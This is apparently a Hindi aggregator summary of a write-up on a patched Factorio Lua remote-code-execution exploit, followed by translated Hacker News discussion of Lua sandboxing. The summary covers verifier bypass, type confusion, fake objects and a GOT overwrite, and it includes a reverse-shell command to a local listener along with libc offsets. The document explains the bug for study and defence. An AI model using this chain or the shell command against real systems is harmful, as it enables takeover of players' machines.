2 पॉइंट द्वारा GN⁺ 2024-06-30 | 1 टिप्पणियां | WhatsApp पर शेयर करें
  • Factorio के Lua implementation की vulnerability ने दुर्भावनापूर्ण servers को कनेक्ट होने वाले clients पर arbitrary code execution हासिल करने की अनुमति दी, और इसका प्रभाव पहले ही patch किए जा चुके 1.1.101 से कम versions तक सीमित था
  • Multiplayer deterministic lockstep तरीके से वही Lua code चलाता है, इसलिए attacker malicious custom map के जरिए network path पर vulnerability trigger कर सकता था
  • समस्या के केंद्र में base module के load/loadstring द्वारा अनुमति दी गई bytecode execution और Factorio के अपने verifier में Off-By-One तथा type validation की कमी थी
  • Exploit ने FORLOOP type confusion से address leak किया, फिर upvalue index manipulation के जरिए LClosure और TString को confuse कर fake object और arbitrary read/write बनाया
  • Linux RCE ने GOT में ldexp address को system से बदलकर math.ldexp call का दुरुपयोग किया, और Factorio के struct offsets व %a format differences के कारण अलग adjustments की जरूरत पड़ी

Vulnerability scope और Lua exposure path

  • Factorio के Lua implementation की vulnerability ने malicious server को client पर arbitrary code execution हासिल करने की अनुमति दी, और Factorio 1.1.101 से कम versions प्रभावित थे
  • Lua का उपयोग Factorio में game logic, mods और custom maps implement करने के लिए होता है
    • Mods game के अंदर से या Factorio Mods से लिए जा सकते हैं
    • Modding community में हजारों mods हैं, और कुछ के downloads 5 लाख से अधिक हैं
  • यह पहली नज़र में ऐसा local attack लगता है जिसमें malicious mod को सीधे install करना पड़े, लेकिन multiplayer synchronization तरीके के कारण Lua interpreter network path पर expose हो जाता है
  • Factorio multiplayer deterministic lockstep का उपयोग करता है
    • Game state खुद नहीं, बल्कि केवल user inputs network पर भेजे जाते हैं
    • सभी players के games को हर tick बिल्कुल समान तरीके से simulate करना होता है
    • यदि एक player Lua code चलाता है, तो बाकी players को भी synchronization के लिए वही code चलाना होता है
  • Attacker द्वारा Lua code execute कराने के रास्ते दो तरह से संक्षेप में बताए जा सकते हैं
    • permission होने पर /c command से server पर Lua code execute करना
    • Lua code वाला custom map बनाना ताकि client server से connect करते समय उसे execute करे
  • Server browser में malicious server दिखाने पर victim map download करके Lua code execute करने की flow बन सकती है

पूरा attack flow

  • Attack इस रूप में शुरू होता है कि Factorio server malicious map provide करता है
    • Map के scenario Lua code में exploit शामिल किया जाता है
    • Client server से connect करता है तो map download करता है और संबंधित Lua code execute करता है
  • इसके बाद Lua implementation की कमजोरियों का इस्तेमाल करके fake object बनाया जाता है
    • Fake object memory leaks और memory corruption को संभव बनाता है
    • इसके परिणामस्वरूप code execution तक ले जा सकने वाले कई primitives बनाए जा सकते हैं
  • Dynamic languages में fake object attacker को मजबूत control दिलाने का core तरीका होता है
    • Strings arbitrary data leak के लिए इस्तेमाल हो सकती हैं
    • Arrays या tables arbitrary memory write के लिए इस्तेमाल हो सकते हैं
    • Native function call path हो तो execution flow control तक बात जा सकती है

Lua bytecode execution और verifier problem

  • Factorio में शामिल Lua modules सीमित हैं
    • debug: debug features तक access
    • math: standard C math interface
    • bit32: bit operations
    • string: string manipulation
    • table: table manipulation
    • base: print जैसे Lua core functions
  • os.execute जैसे स्पष्ट रूप से dangerous modules मौजूद नहीं हैं, लेकिन base module के load और loadstring bytecode execution की अनुमति देते हैं, इसलिए attack surface बड़ा है
  • Lua source code को पहले Lua bytecode में compile करता है और फिर interpreter में चलाता है
    • Bytecode CPU machine code नहीं, बल्कि ऐसी representation है जिसे केवल Lua interpreter चला सकता है
    • यदि bytecode सीधे inject किया जा सके, तो ऐसा invalid bytecode चलाया जा सकता है जो normal compiler नहीं बनाता
  • Lua developers arbitrary bytecode execution के खतरे को जानते थे और उन्होंने verifier बनाया था, लेकिन Lua 5.2 में उसे हटा दिया
    • Lua mailing list में यह बात दर्ज है कि पुराना verifier बार-बार bypass हुआ, और arbitrary Lua code चलाने वाले applications के लिए precompiled scripts स्वीकार न करना बेहतर है
  • Factorio developers ने Lua 5.2.1 में अपना bytecode verifier implement किया लगता है
    • Protection logic code के बाहर jump या constant array range के बाहर index जैसे स्पष्ट OOB parameters को रोकने पर केंद्रित था
    • कुछ opcode semantics के कारण Off-By-One issue था, और JMP 0 जैसे jump offset handling में code block से बाहर jump किया जा सकता था
    • Constant area code chunk के बाद allocate हो सकता था, इसलिए attacker constant section में bytecode store करके off-by-one jump से checks bypass कर execute कर सकता था

Address leak: FORLOOP type confusion

  • Lua internal objects को TValue से represent किया जाता है
    • TValue value area यानी Value और type बताने वाले tt_ से बना होता है
    • Value 8-byte space है, जिसे type के अनुसार double या pointer की तरह interpret किया जाता है
  • Lua 5.2 में सभी numbers double के रूप में represent होते हैं
    • Numbers pointer से गुजरे बिना Value union के अंदर inline store हो सकते हैं
    • यदि string pointer को number की तरह interpret करा दिया जाए, तो pointer bits double value के रूप में expose हो सकते हैं
  • सामान्य Lua में print(function) address print कर सकता है, लेकिन Factorio में इसे हटा दिया गया था, और string addresses भी सीधे leak नहीं हो सकते थे
  • Loop opcode FORLOOP को आम तौर पर FORPREP के बाद आना चाहिए
    • FORPREP जांचता है कि start value, limit value और step number हैं या नहीं
    • FORLOOP के अंदर step parameter का type check नहीं होता, और lua_assert आधारित check default build में enforce नहीं होता
  • Attacker bytecode manipulate करके FORPREP हटाकर केवल FORLOOP execute करा सकता है
    • Normal Lua source से compiler जो situation नहीं बनाता, उसे bytecode से बनाया जाता है
    • यदि string जैसे object को step position में रखा जाए, तो उस TValue का pointer double की तरह interpret होकर leak हो जाता है
  • Leaked value normal double नहीं होती, बल्कि pointer bits को double की तरह interpret की गई value होती है, इसलिए यह 2.1944577826691e-317 जैसी छोटी value दिखती है
    • IEEE 754 binary64 sign के 1 bit, exponent के 11 bits और mantissa के 52 bits से बना होता है
    • Pointer value denormalized double जैसी दिखे तो mantissa से original value recover की जा सकती है
  • Lua 5.2 में pack/unpack और integer type नहीं हैं, इसलिए conversion tricky है
    • शुरुआत में string.format("%.13a", double) से mantissa और exponent पढ़कर pointer restore किया गया
    • Example leaked value 0x43d6c0 pointer के रूप में recover हुई, और actual string data TString header के 24 bytes बाद स्थित था

Upvalue manipulation और LClosure type confusion

  • Upvalue Lua का वह mechanism है जिससे current function के बाहर के scope की variables access की जाती हैं
    • Bytecode की upvalue information में index, name, stack position होने की जानकारी और stack index शामिल होते हैं
    • Attacker bytecode में शामिल upvalue index modify कर सकता है
  • Upvalue index बदलने पर original local variable की जगह stack के किसी दूसरे TValue को reference किया जा सकता है
    • Example में target upvalue index को एक बढ़ाकर current function के LClosure की ओर point कराया गया
    • Manipulated bytecode nil की जगह LClosure: 0x... print करता है
  • Lua में function की actual execution unit Prototype और Closure में बंटी होती है
    • Proto bytecode, constants, source lines, upvalue information आदि के लिए function template की तरह काम करता है
    • LClosure execution के दौरान बनता है और Proto तथा upvalue list को जोड़ता है
  • CLOSURE opcode नया Lua closure बनाता है, उसे stack पर रखता है और फिर upvalues initialize करता है
    • यदि 3 local variables हों, तो नया LClosure base + 3 पर रखा जा सकता है
    • Upvalue index को 3 में बदलने से उस position का LClosure TValue पकड़ा जा सकता है
  • जब inner function outer function के LClosure को string से overwrite कर देता है, तो return के बाद Lua string को LClosure की तरह इस्तेमाल करने की कोशिश करता है और crash होता है
    • OP_RETURN path का type check lua_assert पर निर्भर है और default settings में enforce नहीं होता
    • परिणामस्वरूप current execution frame का cl actual LClosure नहीं, बल्कि attacker-controlled TString की ओर point कर सकता है
  • TString और LClosure के layout difference का उपयोग करने पर string user data area Proto *p और Upval **upval positions से overlap करता है
    • इस type confusion से function prototype pointer और upvalue array pointer control किए जा सकते हैं
    • यदि इन्हें controllable memory area की ओर point कराया जाए तो fake object बनाया जा सकता है

Fake objects और read/write primitives

  • Fake object creation paths broadly दो हैं
    • fake Proto को fake TValue array की ओर point कराने वाला path
    • fake UpVal array को fake TValue की ओर point कराने वाला path
  • Constant path चुना गया क्योंकि padding कम है और function में constants को फिर से इस्तेमाल किया जा सकता है
    • fake TString
    • fake TString की ओर point करने वाला TValue array
    • fake TValue array की ओर point करने वाला Proto
    • fake Proto की ओर point करने वाला LClosure
  • Fake TString की length arbitrary रूप से बड़ी set करके इसे read primitive के रूप में इस्तेमाल किया जा सकता है
    • माना जाता है कि Lua string data TString header के बाद होता है
    • str:sub() से fake string की पहुंच में आने वाली memory read की जा सकती है
    • Lua string index 1 से शुरू होता है, इसलिए header calculation में 1-byte adjustment चाहिए
  • Write primitive इस तरह बनाया जाता है कि fake UpVal write target address के TValue की ओर point करे
    • Lua variable में number assign करने पर उस location पर number TValue लिखा जाता है
    • Number TValue के पहले 8 bytes में inline store होता है, इसलिए value area control किया जा सकता है
    • साथ ही अगले 8 bytes में type information लिखी जाती है, जिससे आसपास की memory भी corrupt हो सकती है
  • Lua numbers double हैं, इसलिए desired integer bit pattern लिखने के लिए conversion की जरूरत होती है
    • Denormalized double की minimum unit 2^-1074 का इस्तेमाल होता है
    • integer_to_double(integer) = integer * 2^-1074 रूप में integer को double representation में encode किया जाता है

Command pointer control और ASLR bypass

  • Lua का Light C Function function pointer को TValue के अंदर inline store करता है
    • Function type LUA_TFUNCTION है, और Light C Function को LUA_TLCF value 22 से represent किया जाता है
    • TValue के value area में 0xdeadbeef और type area में 22 डालने पर उसे उस address के function की तरह call किया जा सकता है
  • Fake Light C Function call करने पर instruction pointer control किया जा सकता है
    • Example में RIP 0xdeadbeef हो जाता है और crash होता है
    • इसके बाद ROP chain जैसी execution-flow changing techniques तक जाया जा सकता है
  • Light C Function pointer inline store होता है, यह address leak के लिए भी उपयोगी है
    • यदि Lua functions light C function के रूप में implemented हों, तो address leak primitive से print जैसे functions के addresses पढ़े जा सकते हैं
    • इससे ASLR bypass के लिए जरूरी base address calculate किया जा सकता है
  • यदि sandboxed function binary में बचा हो, तो fake function को उस address की ओर point कराकर call करने का bypass भी संभव है

Factorio के लिए adjustments

  • Initial tests official Lua interpreter पर किए गए थे, लेकिन Factorio का Lua implementation struct layout में अलग है
  • Factorio के GC object CommonHeader में previous pointer जोड़ा गया है
    • Official Lua में next, tt, marked structure है
    • Factorio में previous, next, tt, marked structure दिखता है
  • इस अंतर से कुछ offsets 8 bytes आगे खिसक जाते हैं
    • TString header 24 bytes नहीं, बल्कि 32 bytes हो जाता है
    • String content address calculation और read primitive के relative address calculation को modify करना पड़ता है
    • Fake UpVal और fake closure calculation में भी extra pointer को account करना पड़ता है
  • Factorio में %a format behavior भी official Lua tests से अलग था
    • string.format("%.13a", 2.1038461432219e-316) expected 0x0.000000289c130p-1022 के बजाय 0xa.2704c00000000p-1052 form देता है
    • इस वजह से string-format based double recovery टूट गई
  • Final conversion को pure numeric method में बदला गया
    • Denormalized value को ऐसा माना जा सकता है कि सभी integers rightmost least significant bit के आधार से शुरू होते हैं
    • double_to_number(double) = double * 2^52 * 2^1022 से leaked value restore की जाती है
    • 2^1074 double में represent नहीं हो सकता, इसलिए multiplication को दो steps में बांटा गया

Linux RCE: GOT replacement और math.ldexp

  • Linux में चुना गया RCE path ROP chain के बजाय GOT replacement का उपयोग करता है
    • Lua से callable और first argument controllable imported function खोजा गया
    • उस function की GOT entry को system address से overwrite किया गया
    • Lua से उस function को call कराकर उसे system(command) की तरह behave कराया गया
  • Factorio की restricted Lua library के भीतर math.ldexp suitable function के रूप में इस्तेमाल हुआ
    • Internally यह ldexp(luaL_checknumber(L, 1), luaL_checkint(L, 2)) call करता है
    • GDB verification में यह स्थिति confirm हुई कि दूसरा Lua argument libc call के first register argument RDI में pass हो रहा था
  • GOT heap से पहले है, इसलिए existing fake-string read primitive से इसे सीधे पढ़ना कठिन है
    • Read primitive केवल fake string header के बाद के addresses पढ़ सकता है
    • GOT से पहले के writable segment का उपयोग करके GOT से पहले वाली location पर fake TString बनाया गया
  • GOT से पहले fake TString बनाने पर libc function address पढ़कर ASLR bypass किया जा सकता है
    • Example में GOT से memcpy address पढ़ा गया
    • Fedora 39 के libc 2.38 offsets से libc_base = memcpy - 0x138b80, system = libc_base + 0x2a3b0 calculate किया गया
  • इसके बाद ldexp GOT entry को system address से overwrite किया गया
    • Example addresses में 0x289ef00 location ldexp GOT entry के रूप में इस्तेमाल हुई
    • write(0x289ef00, system) रूप में overwrite किया गया

Command execution और final remote shell

  • शुरुआत में command को Lua string में store करके math.ldexp(0, addr_of(cmd) + 32) से call करने की कोशिश की गई
    • Command sh -c "sh -i >& /dev/tcp/127.0.0.1/9001 0>&1 &" form में था
    • लेकिन Lua ने ldexp को 32-bit parameter के रूप में call किया, जिससे string address के upper bits कट गए और यह fail हो गया
  • Workaround यह था कि पहले fake string बनाने में इस्तेमाल किए गए binary writable segment में command string सीधे लिखी जाए
    • PIE enabled नहीं था, इसलिए main binary address काफी छोटा था
    • Address 0x289c150 के आसपास command string को कई write() calls से record किया गया
  • math.ldexp(0, 0x289c150) call GOT replacement के बाद system(0x289c150) call की तरह behave करता है
  • Final execution result local nc -lvp 9001 listener से connected shell के रूप में confirm हुआ
    • Shell prompt sh-5.2$ था
    • whoami result victim था

Practice challenge और reference material

1 टिप्पणियां

 
GN⁺ 2024-06-30
Hacker News की राय
  • यह अप्रत्याशित है
    Lua bytecode को interpret करता है, इसलिए लगा था कि यह जांच सकता होगा कि command arguments अर्थपूर्ण हैं या नहीं। जैसे, क्या वे Lua द्वारा allocate की गई memory की ओर इशारा करते हैं वगैरह
    लेकिन असल में ऐसा नहीं था, और गलत arguments वाला bytecode डालने पर भी वह वैसे ही execute हो जाता है। उसके बाद compromise की प्रक्रिया वहीं से आगे बढ़ती है
    ऊपर से interpreter को ठीक करने के बजाय bytecode का static analysis करने की योजना है, लेकिन यह सिर्फ सरल मामलों में काम आने जैसा लगता है
    sandbox-friendly interpreter language के लिहाज से यह काफी निराशाजनक है, और सोच रहा हूं कि क्या वे interpreter को input पर भरोसा न करने वाला patch स्वीकार करेंगे। लगता है उन्हें performance degradation की चिंता है, लेकिन जब तेज़ विकल्प LuaJIT है तो यह संदेहास्पद लगता है

    • “interpreter input पर भरोसा न करे” वाले patch को लेकर, मेरी समझ में Lua developers का रुख यह है कि arbitrary Lua code चलाने वाली process को सिर्फ source code स्वीकार करना चाहिए और bytecode की direct loading बंद रखनी चाहिए
      यह तरीका समझदारी भरा लगता है, क्योंकि trusted bytecode को direct load करने का विकल्प बचा रहता है, और interpreter में ऐसे dynamic checks डालने की जरूरत नहीं पड़ती जो सभी users को प्रभावित करें
    • आम गलतफहमी के उलट Lua असल में sandbox-friendly नहीं है
      Design के हिसाब से Lua termination guarantee नहीं देता, और untrusted program को जबरन terminate करने का कोई अच्छा तरीका भी नहीं है। अगर आप untrusted Lua input लेते हैं, तो मानकर चलना चाहिए कि program अनिश्चित समय तक hang हो सकता है
      Lua ऐसे semi-trusted input के लिए बेहतरीन है जिस पर कम-से-कम due diligence हुई हो, जैसे internet से download किया गया code। Code सचमुच malicious हो तब भी यह नुकसान को काफी सीमित कर सकता है, पर पूरी तरह खत्म नहीं कर सकता
      अगर JavaScript की तरह पूरी तरह untrusted input चाहिए, तो Roblox fork Luau सही है: https://luau-lang.org/sandbox
    • इसे sandbox-friendly कहना मुश्किल नहीं है क्या
      दूसरी languages ने जैसा दिखाया है, bytecode के लिए safe interpreter बनाना कोई आसान काम नहीं है। यह reference implementation को सरल रखने वाला trade-off भी है
      third-party code execution के मामले में मैं ऐसे अधिकांश interpreters पर भरोसा नहीं करता। Web browser को मिलने वाले R&D budget और attention को देखते हुए भी browser पर भी बस मुश्किल से भरोसा करता हूं
    • यह अनुमानित बात है। केवल वही bytecode execute करना चाहिए जिसे सही compiler ने सचमुच generate किया हो। वरना memory safety violations या sandbox escape हो सकते हैं, और memory safety violation के जरिए sandbox escape भी संभव है
      यह arbitrary machine code execute न करने जैसा ही है
      Luau में भी यही गुण है, लेकिन ऐसा नहीं है कि Roblox हमेशा sandbox escape से परेशान रहता हो
    • Java, Wasm, BPF दिखाते हैं कि JIT compiled languages में भी statically verifiable bytecode संभव है। Lua की समस्या यह है कि उसका bytecode safety को पूरी तरह verify करने के लिए जरूरी जानकारी नहीं देता
  • काश ये हिस्से ज्यादा साफ तौर पर define या document किए गए होते। अभी स्थिति यह है कि हमें खुद पता लगाना पड़ता है कि कौन-सी language वाजिब रूप से safe मानी जा सकती है
    उदाहरण के लिए static code का basic case है जिसे user खुद execute करता है, और आम तौर पर languages, Lua सहित, इसी case की परवाह करती हैं
    फिर वह case है जहां update process में code dynamically लिया और execute किया जाता है, लेकिन केवल official channels इस्तेमाल होते हैं। यहां process को safe बनाकर बात संभल सकती है, लेकिन यह पक्का नहीं है
    एक case यह भी है कि users plugin के रूप में code जोड़ सकते हैं, और store से एक button दबाकर आसानी से install कर सकते हैं। Plugins को review किया जा सकता है, लेकिन आम तौर पर यह ठीक से नहीं होता, इसलिए देखना पड़ता है कि sandbox चाहिए या user को सावधान रहना चाहिए
    multiplayer game में ऐसा भी हो सकता है कि सिर्फ server plugins से extend हो, client नहीं। यह ध्यान रखना होगा कि server चलाने वाले gamers कई plugins सक्रिय रूप से try करते हैं, और plugin community कहीं ज्यादा जोखिमभरी हो सकती है
    आखिर में browser जैसा multiplayer game है, जहां server client पर arbitrary code चला सकता है। इस case में खास तौर पर client-side sandbox को लेकर बहुत सावधानी चाहिए। क्योंकि gamers security impact सोचे बिना arbitrary servers में घुस जाते हैं
    Factorio ठीक यही आखिरी case है। मैं इस बात का जरूरी तौर पर विरोध नहीं करता कि developers को इसका assessment करना चाहिए, लेकिन मसलन Lua के load function से unsafe arbitrary bytecode चल सकता है, यह बात हमेशा साफ नहीं होती
    सच कहूं तो मुझे नहीं पता था कि Lua bytecode unsafe है, और यह पता था कि LuaJIT bytecode unsafe है। लेकिन यह तथ्य mailing list या GitHub issues में कहीं-कहीं obvious fact की तरह लिखा हुआ दिखता है
    Server client को hang कर सकता है, यह समस्या भी है। बस infinite loop चलाना काफी है। हालांकि इससे बचना कहीं ज्यादा कठिन है, और शायद बचने की कोशिश करना ही बेकार हो सकता है

    • attacker-controlled code चलाने का कोई भी तरीका safe मानकर नहीं चलना चाहिए। खासकर तब तक नहीं, जब तक वह explicitly खुद को safe न कहे और उसे support करने के लिए Google स्तर की मेहनत न लगाई गई हो
    • Unreal Engine पर आधारित game Mordhau में message of the day feature था, जहां server operator URL डालता था तो player के connect करते समय in-game browser खुल जाता था
      client side पर browser बंद करने का option नहीं था, और मेरी जानकारी में developers ने आखिरकार इसे पूरी तरह disable कर दिया, लेकिन अभी की स्थिति पक्की नहीं है
      यह दिखाता है कि games और game engines कितने complex हो गए हैं। जहां कोई खास वजह नहीं दिखती, वहां भी embedded web browser मौजूद है
    • सबसे पहले यह देखना चाहिए कि संबंधित solution खुद को speculative execution-safe sandbox कहकर स्पष्ट रूप से बताता है या नहीं। ऐसा करने वाली जगहें बहुत ज्यादा नहीं होंगी, लेकिन कुछ हैं, और वहीं से आकलन शुरू किया जा सकता है
  • Factorio के पीछे वाकई एक बहुत अच्छी development team है, इसलिए भरोसा है कि वे ऐसी समस्याओं को ठीक करने की पूरी कोशिश कर रहे होंगे। हालांकि game development कुल मिलाकर बहुत creative काम होता है, इसलिए code practices या security जैसी चीज़ें शायद पीछे छूट जाती हैं
    game clients और servers में कितनी zero-day vulnerabilities छिपी होंगी, यह सोचकर जिज्ञासा होती है

    • जिन games में remote interaction होता है, उन्हें मैं मूल रूप से पूरी तरह सुरक्षित नहीं मानता। Steam और सभी games को किसी न किसी रूप में sandbox के अंदर चलाना बेहतर है
      शुरुआत के लिए Flatpak मददगार हो सकता है। container कोई मजबूत security boundary नहीं है, लेकिन simple exploits को रोक सकता है
    • शायद स्थिति बहुत अच्छी नहीं होगी। यह सोचिए कि Xbox, Sony, Nintendo जैसे console manufacturers arbitrary server IP connections या mod support की अनुमति क्यों नहीं देते
      यह सिर्फ official online services इस्तेमाल करवाने वाला business decision नहीं है। third-party server IP connections रोक देने पर network code या game के बाकी हिस्सों में गंभीर bugs हों, तब भी उनका exploit नहीं हो सकता। mods, यहां तक कि Lua जैसे “safe” mods को भी सीमित करने से exploits और रोके जा सकते हैं
      buggy network code ने इतिहास में कई consoles के DRM को तोड़ा है
      exploits के अलावा, consoles इस बात पर गर्व करते हैं कि code distribute होने से पहले review से गुजरता है। remote system पर Lua execution की अनुमति देने का मतलब है कि approval के बाद भी game को खुद developer द्वारा remotely reconfigure किया जा सकता है, और console manufacturers बहुत गहन review के बिना इसकी अनुमति नहीं देना चाहेंगे
    • इसलिए gaming के लिए अलग computer रखना अच्छा है। उसमें important documents या work material कभी न रखना बेहतर है
      आदर्श रूप से इसे virtual machine में isolate करना चाहिए, लेकिन gaming virtual machine setup बहुत झंझट वाला है और anti-cheat इस्तेमाल करने वाले कुछ games में आप बाहर किए जा सकते हैं
    • code practices से क्या मतलब? Factorio अब तक देखे गए software में सबसे अच्छी तरह programmed, stable और consistent software में से है
      यह सोचकर लगभग अफसोस होता है कि इतने skilled लोग game industry में काम कर रहे हैं, जबकि दूसरे fields को अच्छे programmers की बेहद जरूरत है
  • आम तौर पर program verification सिर्फ Rice theorem की वजह से नहीं, बल्कि अपने-आप में बेहद कठिन है। खासकर Lua जैसी non-trivial bytecode language में miss करने लायक points बहुत आसानी से पैदा हो जाते हैं। Wasm में, उदाहरण के लिए, for loop की अवधारणा नहीं है
    upstream project ने इस problem को बहुत कठिन बताकर छोड़ दिया था, उसके बाद Factorio developers का verifier को ठीक करने या खुद लिखने की कोशिश करना अजीब है
    Minetest का loadstring function bytecode को पूरी तरह ban करता है: https://github.com/minetest/minetest/blob/9a1501ae89ffe79c38...
    मुझे जिज्ञासा है कि Factorio mods को raw Lua bytecode चलाने की क्षमता की जरूरत क्यों है। अगर जरूरत नहीं है, तो verifier की भी जरूरत नहीं होती
    शुरुआत में ही network से downloaded Lua code execute करना काफी risky है। JavaScript execution environments दशकों से exploit discovery और fixing के cycle से गुजरते आए हैं। Lua में भी ऐसा होता है, लेकिन scale छोटा है और security सुधारने के लिए लोग भी कम हैं
    मुख्य protection शायद यह है कि malicious game server चलाने वाले लोग कम हैं

    • Factorio ने इस issue के जवाब में bytecode loading disable कर दी। bytecode से Lua bytecode output करने वाली preprocessing languages में mods लिखने जैसे cool काम संभव होते थे, लेकिन आखिरकार security issue ज्यादा महत्वपूर्ण था
      मिलते-जुलते security reasons से debug library भी लगभग पूरी तरह mods के लिए unavailable कर दी गई
    • आखिरकार हर game developer को यह बात मुश्किल तरीके से सीखनी पड़ती है कि Lua के loadstring() function से bytecode functionality हटानी चाहिए
      उदाहरण के लिए ROBLOX developers ने 12 साल पहले इस पर लिखा था: https://archive.is/oXPyM
      ईमानदारी से कहें तो इसे default रूप से disable करना बेहतर होगा। इसके legitimate use cases काफी niche हैं
    • Factorio में यह भी है: https://mods.factorio.com/mod/Moon_Logic
      इसके अलावा Turing-complete environment में बस run न हो सकने वाला software बनाना काफी restrictive है
      किसी भी तरह, मजबूत permission system वाला interpreter सच में जरूरी है
    • Rice theorem यहां core मुद्दा नहीं लगता। पहले filter के रूप में यह उपयोगी हो सकता है। अगर कोई मानता है कि इसे “बस” exact तरीके से decide किया जा सकता है, तो रुक जाना चाहिए, क्योंकि Henry Rice ने आधी सदी पहले साबित कर दिया था कि यह असंभव है और उसी पर PhD पाई थी
      लेकिन अगर आपने practical requirements को satisfy करने वाले inputs में से केवल कुछ को accept करने का compromise कर लिया है, तो Rice theorem की बात खत्म। अब impossible task की जगह सिर्फ extremely difficult task बचता है
      fail होने पर भी कम-से-कम यह सुनने को नहीं मिलेगा कि यह impossible था—यह शायद थोड़ी राहत हो सकती है
      Factorio को यह रास्ता नहीं लेना चाहिए था
    • Rice theorem यहां लागू नहीं होता। Rice theorem जिस व्यापक अर्थ में “syntax” की definition इस्तेमाल करता है, उसमें bytecode में verify की जाने वाली चीज़ें syntax ही हैं
  • यह बिल्कुल beginner question है, लेकिन games Lua क्यों इस्तेमाल करते हैं और, उदाहरण के लिए, game state adjust करने वाली API जैसा defined interface रखने वाला embedded JavaScript क्यों नहीं इस्तेमाल करते?
    ऐसा लगता है कि browser environment isolation पर हुए कहीं ज्यादा मजबूत hardening work का फायदा मिल सकता है। browsers कठिन हैं, बहुत अच्छी तरह tested हैं, और उन पर बहुत funding लगी है
    dynamic typing performance optimization पर भी भारी काम हुआ है
    इसके अलावा अगर mods को UI चाहिए तो canvas है, और अगर DOM जैसा model दिया जाए तो React जैसी चीजें भी potentially संभव हैं

    • कुछ साल पहले के मेरे अनुभव के आधार पर, ज्यादातर JavaScript engines पुराने थे और लगभग maintain नहीं किए जा रहे थे, और browsers में इस्तेमाल होने वाले engines browser-first बनाए गए थे, इसलिए उन्हें integrate करना आसान हो, इस तरह design नहीं किया गया था
      Lua को खास तौर पर integration के लिए बनाया गया है, इसलिए material भी बहुत है और बड़ी community भी support करती है
    • ज्यादातर JavaScript engines को embed करना Lua की तुलना में कहीं ज्यादा complex है। Lua उन software में से है जिन्हें compile करना सबसे आसान लगता है
      साथ ही आप common browser APIs और JavaScript को confuse कर रहे हैं। JavaScript engine canvas या DOM provide नहीं करता। उदाहरण के लिए V8 भी नहीं करता, ये चीजें आपको खुद add करनी पड़ती हैं
  • मैं security developer नहीं हूँ, लेकिन रस्मन कहना चाहता हूँ, “वाह, यह वाकई बेहद प्रभावशाली है!” इतने जटिल failure case को track करने के लिए कितनी साफ़ और तार्किक सोच चाहिए, इस पर विश्वास करना मुश्किल है। यह निश्चित रूप से मेरी ताकत नहीं है; मैं कहीं ज़्यादा “ideas वाला” इंसान हूँ
    content की बात करें तो, अगर ऐसे अजीब memory exploits ढूँढने वाली 10,000 blog posts से लैस AI software engineers का समूह आ गया, तो लगता है हमारी पूरी तरह छुट्टी हो जाएगी
    आखिरकार security के लिए कोई बिल्कुल नया paradigm, या कम से कम stack में कोई नया element चाहिए होगा। आज के “trusted” clients या DB roles जैसी बातें Swiss cheese के छेद patch करने जैसी लगती हैं
    उम्मीद है कि हम LLM द्वारा manage की जाने वाली Swiss cheese की एक और नई layer ऊपर चढ़ा पाएँगे

    • कुछ लोग यह पहले से कर रहे हैं। नतीजे अभी promising नहीं हैं
  • तो क्या यह बस ऐसे exploit को नहीं दिखाता जो bytecode loading पर निर्भर है—एक ऐसी feature जिसे exploitable बताकर ही promote किया गया था? मैं क्या miss कर रहा हूँ?

    • दिलचस्प बात यह थी कि Lua developers bytecode verifier में कितनी बुरी तरह fail हुए। यह कोई जटिल problem नहीं थी, बल्कि jmp जैसे basic instruction को model करते समय off-by-one error, या Lua interpreter का हाथ लगने वाली हर चीज़ को instruction की तरह interpret करने की कोशिश करना—ऐसी simple चीज़ें थीं
      वह data section तक interpret करने लगा जिसे verifier छूता भी नहीं था
    • promoted feature होने पर भी, यह उन end users को नुकसान पहुँचा सकता है जिन्हें Lua या bytecode क्या है, पता नहीं होता
    • bytecode interpreter में bug हो तो loadstring disabled environment में भी arbitrary bytecode execution संभव हो सकता है
  • सच में अच्छा है कि इतने capable लोग good side पर हैं

    • यह दिखाता है कि स्वभाव से अच्छे या नुकसान न पहुँचाने वाले लोग कितने ज़्यादा हैं। English में इसके लिए सही word क्या होगा, पता नहीं
      news media उल्टा विश्वास दिलाती है, और ऐसी news पर average comments भी उसी विश्वास को मजबूत करते हैं, लेकिन अगर सच में ऐसा होता तो जिन कई luxuries और medical/social support programs का हम लाभ उठाते हैं, वे संभव कैसे होते
      इसका मतलब यह नहीं कि दुनिया में problems नहीं हैं, लेकिन destructive लोगों की तुलना में constructive लोग साफ़ तौर पर बहुत ज़्यादा हैं
      मैं अभी Panama Papers से जुड़े HN thread से आया हूँ, इसलिए यह विचार और सामने है। वहाँ माहौल ऐसा cynical था कि सभी अमीर लोग बुरे हैं और सब prosecution से पूरी तरह बच निकले, लेकिन कुछ comments ने ठीक पकड़ा कि असल में दोनों बातें सच नहीं हैं। बस thread में थोड़ा नीचे तक पढ़ना पड़ता है और cynicism में बहना नहीं पड़ता
  • मेरा मानना है कि Lua bytecode को उन embedded systems के बाहर कभी इस्तेमाल नहीं करना चाहिए जिनके पास Lua source code parser चलाने के resources नहीं हैं
    security vulnerabilities के अलावा इसका जो एकमात्र उपयोगी इस्तेमाल दिखता है, वह closed-source programs जैसा कुछ है

  • शायद मैं miss कर गया होऊँ, और मानता हूँ कि बाद वाला हिस्सा मैंने सरसरी तौर पर पढ़ा, लेकिन लगता है लेखक ने यह बिल्कुल नहीं बताया कि असल में कौन-से mitigations किए गए। उस हिस्से के बारे में और सुनना चाहूँगा